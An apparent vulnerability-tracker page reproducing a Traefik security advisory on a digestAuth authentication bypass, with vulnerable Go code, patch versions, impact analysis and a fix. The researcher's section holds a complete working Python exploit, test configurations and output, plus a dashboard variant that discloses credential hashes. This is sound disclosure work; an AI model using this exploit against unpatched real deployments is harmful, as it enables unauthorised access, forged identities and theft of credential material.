GHSA-5W68-77R2-R64C
Complete authentication bypass in the `digestAuth` middleware
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v2.11.55 | github.com/traefik/traefik/v2 · -3 d desde divulgación | |
| Remediación | Parche v3.7.11 | github.com/traefik/traefik/v3 · -3 d desde divulgación | |
| Divulgación | Publicada | GHSA-5W68-77R2-R64C divulgada · CVSS 9.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
There is a critical severity vulnerability in Traefik's `digestAuth` middleware. The middleware's secret provider returned an empty string for a username absent from the configured user list, instead of signalling that no such user exists, and the pinned digest library accepted that empty string as the user's `HA1`. Every other input to the digest computation is either chosen by the client or handed to it in the `401` challenge, so the expected response digest becomes fully computable and any unauthenticated remote client can pass the check with an arbitrary username and no password, on any route protected by `digestAuth` — including the dashboard and API when they are protected this way. The fix updates the `github.com/containous/go-http-auth` fork so that an unknown user is rejected rather than given an empty secret. Every v1, v2 and v3 release shipping the middleware is affected; the v1 line, the v2 minors below v2.11 and the v3 minors below v3.7 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.55
- https://github.com/traefik/traefik/releases/tag/v3.7.11
For more information
If you have any questions or comments about this advisory, please open an issue https://github.com/traefik/traefik/issues.
<details>
<summary>Original Description</summary>
Summary
The `digestAuth` middleware can be bypassed by any unauthenticated remote client, with no password and no valid username, in two requests.
Traefik's digest secret provider returns the empty string for a username that is not in the middleware's user list, instead of signalling "no such user". The pinned digest library treats that empty string as the user's `HA1` and proceeds with the normal cryptographic check. Because every other input to the digest computation (`nonce`, `nc`, `cnonce`, `qop`, method, URI) is either attacker-chosen or handed to the attacker in the `401` challenge, the expected response digest becomes fully computable: `MD5("" + ":" + nonce + ":" + nc + ":" + cnonce + ":auth:" + MD5(method + ":" + uri))`. The comparison succeeds, and the middleware forwards the request with the attacker's chosen username.
Any route protected by `digestAuth` — including the Traefik dashboard and API when they are protected this way — is effectively unprotected. The strength of the configured users' passwords is irrelevant, because the attack does not target a configured user. Confirmed on `master` and present, with identical code, in every v2 and v3 release that ships the `digestAuth` middleware.
Details
Three pieces combine.
1. Unknown user yields an empty secret rather than a failure — `pkg/middlewares/auth/digest_auth.go:112-118`:
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty HA1, indistinguishable from a real secret
}This function is installed as the library's `SecretProvider` at `pkg/middlewares/auth/digest_auth.go:51`:
da.auth = goauth.NewDigestAuthenticator(realm, da.secretDigest)2. The library never checks that the secret is non-empty. The pinned dependency is `github.com/abbot/go-http-auth`, replaced in `go.mod:426` with `github.com/containous/go-http-auth v0.4.1-0.20200324110947-a37a7636d23e`. In its `digest.go`, `CheckAuth` does (lines 191-200):
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
if da.PlainTextSecrets { // false, see below
HA1 = H(auth["username"] + ":" + da.Realm + ":" + HA1)
}
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(strings.Join([]string{HA1, auth["nonce"], auth["nc"], auth["cnonce"], auth["qop"], HA2}, ":"))
if subtle.ConstantTimeCompare([]byte(KD), []byte(auth["response"])) != 1 {
return "", nil
}`NewDigestAuthenticator` sets `PlainTextSecrets: false` (`digest.go:306-316`), so `HA1` stays the literal empty string. With `HA1 = ""` known, and `nonce`/`opaque` supplied by the server in the challenge while `nc`, `cnonce`, `uri` and the method are chosen by the client, `KD` is computable offline by anyone. `CheckAuth` then returns `auth["username"]` — a value taken verbatim from the attacker's `Authorization` header.
Note that `PlainTextSecrets: true` would not fix this either: `HA1` would become the equally computable `MD5("<attacker-chosen-user>:<realm>:")`. The defect is that a missing user is represented by a valid-looking secret.
3. Traefik treats any non-empty returned username as success — `pkg/middlewares/auth/digest_auth.go:60-110`. The failure path is entered only when `username == ""`, so the forged identity is accepted, and then propagated:
req.URL.User = url.User(username) // :92
logData := accesslog.GetLogData(req)
if logData != nil {
logData.Core[accesslog.ClientUsername] = username // :94-97
}
if d.headerField != "" {
req.Header.Del(d.headerField)
req.Header[d.headerField] = []string{username} // :99-103
}Two consequences beyond the bypass itself:
- The access log records the attacker's chosen string as the authenticated user (`authuser` in CLF), so the audit trail attributes the request to an invented identity.
- If `headerField` is configured, the attacker's chosen username is injected into that request header and sent to the backend. A backend that trusts the header for identity (the reason `headerField` exists) can be made to accept an arbitrary user, including an administrative one.
Nothing else in the chain compensates. The nonce/`nc` replay bookkeeping further down `CheckAuth` is satisfied by using a nonce from a fresh challenge, and the `uri` prefix check at `digest.go:171-189` is satisfied by sending the real request path.
For contrast, `basicAuth` is not affected: it compares against a stored hash via `bcrypt`/`md5crypt` and a missing user simply fails.
PoC
Reproduced against a `traefik` binary built from `master` (Go 1.26.1, darwin/arm64). Everything below runs locally; no non-default options are involved beyond the `digestAuth` middleware itself.
1. Backend — `backend.py`
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = "\n".join([
"backend reached",
f"path: {self.path}",
f"X-Auth-User: {self.headers.get('X-Auth-User', '')}",
"",
]).encode()
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
if __name__ == "__main__":
print("backend listening on http://127.0.0.1:9000")
HTTPServer(("127.0.0.1", 9000), Handler).serve_forever()2. Static configuration — `traefik.yml`
entryPoints:
web:
address: ":8080"
providers:
file:
filename: dynamic.yml
watch: false
accessLog: {}3. Routing configuration — `dynamic.yml`
One route, one `digestAuth` middleware, one real user: `alice` / realm `traefik` / password `password`, stored as `MD5("alice:traefik:password") = e98987bc804ae89862673801dab5b961`. The exploit never uses that password.
http:
routers:
digest-private:
entryPoints:
- web
rule: Path(`/private`)
middlewares:
- vulnerable-digest
service: echo
middlewares:
vulnerable-digest:
digestAuth:
realm: traefik
headerField: X-Auth-User
users:
- "alice:traefik:e98987bc804ae89862673801dab5b961"
services:
echo:
loadBalancer:
servers:
- url: http://127.0.0.1:90004. Run
python3 backend.py &
traefik --configFile traefik.yml &5. Exploit — `exploit.py`
Two requests: fetch the challenge, then replay with an `HA1` of `""` and an arbitrary username.
#!/usr/bin/env python3
import hashlib
import http.client
import re
import sys
HOST, PORT, PATH = "127.0.0.1", 8080, "/private"
USERNAME = "totally-not-a-real-user" # never configured anywhere
CNONCE, NC, QOP = "0123456789abcdef", "00000001", "auth"
def md5_hex(value: str) -> str:
return hashlib.md5(value.encode()).hexdigest()
def extract_param(challenge: str, name: str) -> str:
match = re.search(rf'{name}="([^"]+)"', challenge)
if not match:
raise RuntimeError(f"missing {name} in challenge: {challenge}")
return match.group(1)
def main() -> int:
# Request 1: obtain the Digest challenge.
conn = http.client.HTTPConnection(HOST, PORT)
conn.request("GET", PATH)
res1 = conn.getresponse()
res1.read()
challenge = res1.getheader("WWW-Authenticate")
print(f"first response: {res1.status} {res1.reason}")
print(f"challenge: {challenge}")
if res1.status != 401 or not challenge:
print("expected a 401 Digest challenge", file=sys.stderr)
return 1
realm = extract_param(challenge, "realm")
nonce = extract_param(challenge, "nonce")
opaque = extract_param(challenge, "opaque")
# The bug: HA1 is the empty string for any unknown username,
# so the expected response digest is computable without a password.
ha2 = md5_hex(f"GET:{PATH}")
forged_response = md5_hex(f":{nonce}:{NC}:{CNONCE}:{QOP}:{ha2}")
authorization = (
f'Digest username="{USERNAME}", realm="{realm}", nonce="{nonce}", '
f'uri="{PATH}", algorithm=MD5, response="{forged_response}", '
f'qop={QOP}, nc={NC}, cnonce="{CNONCE}", opaque="{opaque}"'
)
# Request 2: replay with the forged Authorization header.
conn = http.client.HTTPConnection(HOST, PORT)
conn.request("GET", PATH, headers={"Authorization": authorization})
res2 = conn.getresponse()
body2 = res2.read().decode("utf-8", errors="replace")
print(f"second response: {res2.status} {res2.reason}")
print(body2)
if res2.status != 200 or USERNAME not in body2:
print("bypass did not reproduce", file=sys.stderr)
return 1
print("repro succeeded")
return 0
if __name__ == "__main__":
raise SystemExit(main())6. Observed output
first response: 401 Unauthorized
challenge: Digest realm="traefik", nonce="Vkk4NpGET/4xMf6d", opaque="OPtXH7kWCIh3GyAm", algorithm="MD5", qop="auth"
second response: 200 OK
backend reached
path: /private
X-Auth-User: totally-not-a-real-user
repro succeededThe backend was reached and, via `headerField`, received `X-Auth-User: totally-not-a-real-user`.
Traefik's own access log records the forged identity in the `authuser` position:
127.0.0.1 - - [04/Aug/2026:05:52:52 +0000] "GET /private HTTP/1.1" 401 17 ... "digest-private@file" "-" 0ms
127.0.0.1 - totally-not-a-real-user [04/Aug/2026:05:52:57 +0000] "GET /private HTTP/1.1" 200 68 ... "digest-private@file" "http://127.0.0.1:9000" 1ms7. Control — the cryptographic check is otherwise intact
The same forged request with a deliberately wrong response digest is rejected, confirming the check runs and that the bypass is specifically caused by the empty, therefore known, `HA1`:
$ curl -s -o /dev/null -w '%{http_code}\n' \
-H 'Authorization: Digest username="nobody", realm="traefik", nonce="<N>", uri="/private",
algorithm=MD5, response="ffffffffffffffffffffffffffffffff", qop=auth,
nc=00000001, cnonce="0123456789abcdef", opaque="<O>"' \
http://127.0.0.1:8080/private
4018. Variant — a `digestAuth`-protected dashboard/API
Protecting the dashboard with `digestAuth` is a documented pattern, and it is bypassable the same way. With this configuration:
# static
entryPoints:
web:
address: ":8090"
api:
dashboard: true
providers:
file:
filename: dash-dynamic.yml# dash-dynamic.yml
http:
routers:
dash:
entryPoints: [web]
rule: PathPrefix(`/api`) || PathPrefix(`/dashboard`)
middlewares: [protect]
service: api@internal
middlewares:
protect:
digestAuth:
realm: traefik
users:
- "alice:traefik:e98987bc804ae89862673801dab5b961"an unauthenticated request to `/api/rawdata` returns `401`, and the same two-request forgery (with `uri="/api/rawdata"`) returns `200` together with the full dynamic configuration:
{"routers":{"dash@file":{"entryPoints":["web"],"middlewares":["protect@file"],"service":"api@internal",
"rule":"PathPrefix(`/api`) || PathPrefix(`/dashboard`)", ... }},
"middlewares":{"protect@file":{"digestAuth":{"users":["alice:traefik:e98987bc804ae89862673801dab5 ...So the bypass also discloses the dynamic configuration, which includes credential material such as the `digestAuth`/`basicAuth` user hashes shown above.
Impact
Vulnerability class: improper authentication / authentication bypass by "missing credential treated as empty credential" (CWE-287, CWE-303, CWE-1390).
Who is impacted: every deployment with at least one router carrying a `digestAuth` middleware. No non-default option is required — the middleware is vulnerable in its default configuration, and neither `usersFile` vs inline `users`, `realm`, `removeHeader` nor `headerField` changes the outcome. The code path is identical in v2 and v3.
Who can exploit it: any client that can reach the protected route. No credentials, no valid username, no prior knowledge of the configuration, no privileged network position, no race. Two requests, trivially scriptable, and equally effective over HTTP/1.1, HTTP/2 and HTTP/3.
What an attacker gets:
- Full access to whatever `digestAuth` was protecting. Since `digestAuth` is deployed precisely where a route must not be public, the bypass grants exactly the access the operator intended to prevent — internal applications, admin panels, staging environments, and the Traefik dashboard/API itself. As shown above, reaching `api@internal` additionally discloses the whole dynamic configuration, including other middlewares' credential hashes and any inline TLS private keys, which enables further attacks.
- Identity forgery at the backend. With `headerField` configured, the attacker chooses the value of the identity header the backend receives. Backends that trust it — the documented purpose of the option — can be made to authorise the request as any user, including an administrator, turning the bypass into privilege escalation inside the application.
- Audit-trail corruption. The forged username is written to the access log's `authuser` field, so the log attributes the intrusion to a fabricated user of the attacker's choosing. Log-based detection and forensics see a "successfully authenticated" request.
Detection note for responders: access-log lines whose `authuser` is not a configured user, on a `digestAuth`-protected route, indicate exploitation.
Suggested fix: fail closed on a missing user. Have `secretDigest` distinguish "no such user" from a secret (return an error/`ok` flag, or reject before `CheckAuth` consumes it), and reject the request when the resolved secret is empty. A defence-in-depth check inside the digest verification — refuse to authenticate when `HA1 == ""` — is worth adding in the pinned `go-http-auth` fork as well, since the same trap affects any consumer of that library's `SecretProvider` contract. Given that the library is unmaintained and MD5-only (RFC 2617), replacing or vendoring it is worth considering separately.
</details>
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/traefik/traefik/v2 |
Corregida | v2.11.55 | -3 d | v2.11.63 no afectada |
gogithub.com/traefik/traefik/v3 |
Corregida | v3.7.11 | -3 d | v3.7.19 no afectada |
v2.11.55v3.7.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
